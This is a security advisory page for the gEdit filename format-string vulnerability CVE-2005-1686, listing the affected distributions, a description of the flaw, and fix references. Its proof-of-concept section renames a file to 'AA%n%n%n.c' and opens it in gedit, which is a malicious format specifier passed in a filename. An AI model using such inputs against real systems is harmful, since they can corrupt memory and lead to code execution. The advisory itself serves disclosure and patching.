Gedit Filename Format String Vulnerability

BID:13699

Info

Gedit Filename Format String Vulnerability

Bugtraq ID: 13699
Class: Input Validation Error
CVE: CVE-2005-1686
Remote: Yes
Local: No
Published: May 30 2005 12:00AM
Updated: Apr 19 2011 08:54PM
Credit: Discovery of this issue is credited to jsk:exworm (www.0xbadexworm.org).
Vulnerable: Turbolinux Turbolinux Desktop 10.0
Turbolinux Turbolinux 10 F...
Turbolinux Home
Sun Solaris 10_x86
Sun Solaris 10_sparc
SGI ProPack 3.0
SGI Advanced Linux Environment 3.0
RedHat Enterprise Linux WS 4
RedHat Enterprise Linux WS 3
RedHat Enterprise Linux ES 4
RedHat Enterprise Linux ES 3
RedHat Enterprise Linux AS 4
RedHat Enterprise Linux AS 3
RedHat Enterprise Linux Desktop version 4
RedHat Desktop 4.0
RedHat Desktop 3.0
MandrakeSoft Linux Mandrake 10.2 x86_64
MandrakeSoft Linux Mandrake 10.2
MandrakeSoft Linux Mandrake 10.1 x86_64
MandrakeSoft Linux Mandrake 10.1
MandrakeSoft Corporate Server 3.0 x86_64
MandrakeSoft Corporate Server 3.0
ImageMagick ImageMagick 5.4.3
+ Turbolinux Turbolinux Workstation 8.0
GNOME gEdit 2.10.2
+ Ubuntu Ubuntu Linux 5.0 4 powerpc
+ Ubuntu Ubuntu Linux 5.0 4 i386
+ Ubuntu Ubuntu Linux 5.0 4 amd64
GNOME gEdit 2.8.3
+ Debian Linux 3.1 sparc
+ Debian Linux 3.1 s/390
+ Debian Linux 3.1 ppc
+ Debian Linux 3.1 mipsel
+ Debian Linux 3.1 mips
+ Debian Linux 3.1 m68k
+ Debian Linux 3.1 ia-64
+ Debian Linux 3.1 ia-32
+ Debian Linux 3.1 hppa
+ Debian Linux 3.1 arm
+ Debian Linux 3.1 amd64
+ Debian Linux 3.1 alpha
+ Debian Linux 3.1
GNOME gEdit 2.8.1
+ Ubuntu Ubuntu Linux 4.1 ppc
+ Ubuntu Ubuntu Linux 4.1 ia64
+ Ubuntu Ubuntu Linux 4.1 ia32
GNOME gEdit 2.2 .0
GNOME gEdit 2.0.2
Not Vulnerable:

Discussion

Gedit Filename Format String Vulnerability

gEdit is prone to a format-string vulnerability. Exploitation may occur when the program is invoked with a filename that includes malicious format specifiers.

Attackers could exploit this issue to corrupt arbitrary regions of memory with attacker-supplied data, potentially resulting in the execution of arbitrary code in the context of the user running the program.

Exploit / POC

Gedit Filename Format String Vulnerability

The following example is available:

bash-2.05b#cat fmtexp.c

#include <stdio.h>


int
main()
{
printf("hah gedit\n");
}


bash-2.05b#gcc -o fk fmtexp.c

bash-2.05b#mv fk AA%n%n%n.c

bash-2.05b#gedit AA%n%n%n.c

Solution / Fix

Gedit Filename Format String Vulnerability

Solution:
Ubuntu has released an advisory (USN-138-1) and fixes to address this issue. Please see the referenced advisory for information on obtaining and applying appropriate fixes.


Turbolinux Home

Turbolinux Turbolinux Desktop 10.0

MandrakeSoft Linux Mandrake 10.1

MandrakeSoft Linux Mandrake 10.1 x86_64

MandrakeSoft Linux Mandrake 10.2 x86_64

MandrakeSoft Linux Mandrake 10.2

GNOME gEdit 2.10.2

GNOME gEdit 2.8.1

GNOME gEdit 2.8.3

MandrakeSoft Corporate Server 3.0 x86_64

MandrakeSoft Corporate Server 3.0

References

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report